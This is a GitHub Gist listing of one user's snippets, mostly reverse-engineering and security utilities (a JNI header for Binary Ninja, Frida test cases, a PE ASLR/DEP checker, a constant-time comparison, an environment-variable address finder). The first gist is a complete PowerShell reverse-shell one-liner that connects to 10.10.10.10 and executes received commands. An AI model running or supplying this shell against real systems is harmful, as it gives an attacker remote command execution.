Skip to content

Instantly share code, notes, and snippets.

@Ayrx
Ayrx / powershell_reverse_shell.ps1
Created Sep 4, 2020 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
View powershell_reverse_shell.ps1
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@Ayrx
Ayrx / jni_binja.h
Created May 16, 2020
JNI header with tweaks for Binary Ninja parser
View jni_binja.h
typedef long jint;
typedef int64_t jlong;
typedef signed char jbyte;
/*
* JNI Types
*/
typedef unsigned char jboolean;
typedef unsigned short jchar;
View repro.js
var m = "python2.7";
var ex = "PyTraceBack_Type";
var module = Process.getModuleByName(m)
console.log(JSON.stringify(module));
for (var e of module.enumerateExports()) {
if (e.name == ex) {
console.log(JSON.stringify(e));
}
@Ayrx
Ayrx / foo.c
Last active Mar 26, 2019
Frida Stalker Crash
View foo.c
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
printf("hello\n");
sleep(1);
}
}
View memdump.py
#!/usr/bin/env python
from __future__ import print_function
import sys
import os
import re
import ctypes
import argparse
ulseek = ctypes.cdll['libc.so.6'].lseek
ulseek.restype = ctypes.c_uint64
@Ayrx
Ayrx / constant_compare.py
Created Nov 29, 2013
Function for constant time string comparison.
View constant_compare.py
def is_equal(a, b):
if len(a) != len(b):
return False
result = 0
for x, y in zip(a, b):
result |= x ^ y
return result == 0
View aslr_dep.py
import argparse
import os
import pefile
class DllCharacteristics():
def __init__(self):
self.IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = False
self.IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = False
self.IMAGE_DLLCHARACTERISTICS_NO_BIND = False
@Ayrx
Ayrx / enum.py
Created Oct 10, 2013
Code snippet for using enum in Python 2. http://stackoverflow.com/a/1695250/1170681
View enum.py
def enum(**enums):
return type('Enum', (), enums)
@Ayrx
Ayrx / case_sensitive_path.py
Created Sep 12, 2013
A code snippet to find the case sensitive version of path name on the system given a case insensitive version.
View case_sensitive_path.py
import os
def get_case_sensitive_pathname(path, top):
for root, dirs, files in os.walk(top):
for d in dirs:
if os.path.join(root, d).lower() == path.lower():
return os.path.join(root, d)
for f in files:
if os.path.join(root, f).lower() == path.lower():
return os.path.join(root, f)
@Ayrx
Ayrx / getenvaddr.c
Created Aug 28, 2013
A simple piece of C code to print out the memory address of a specific environmental variable.
View getenvaddr.c
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
char *addr;
if (argc < 2) {
printf("Usage:\n%s <environment variable name>\n", argv[0]);
exit(0);
}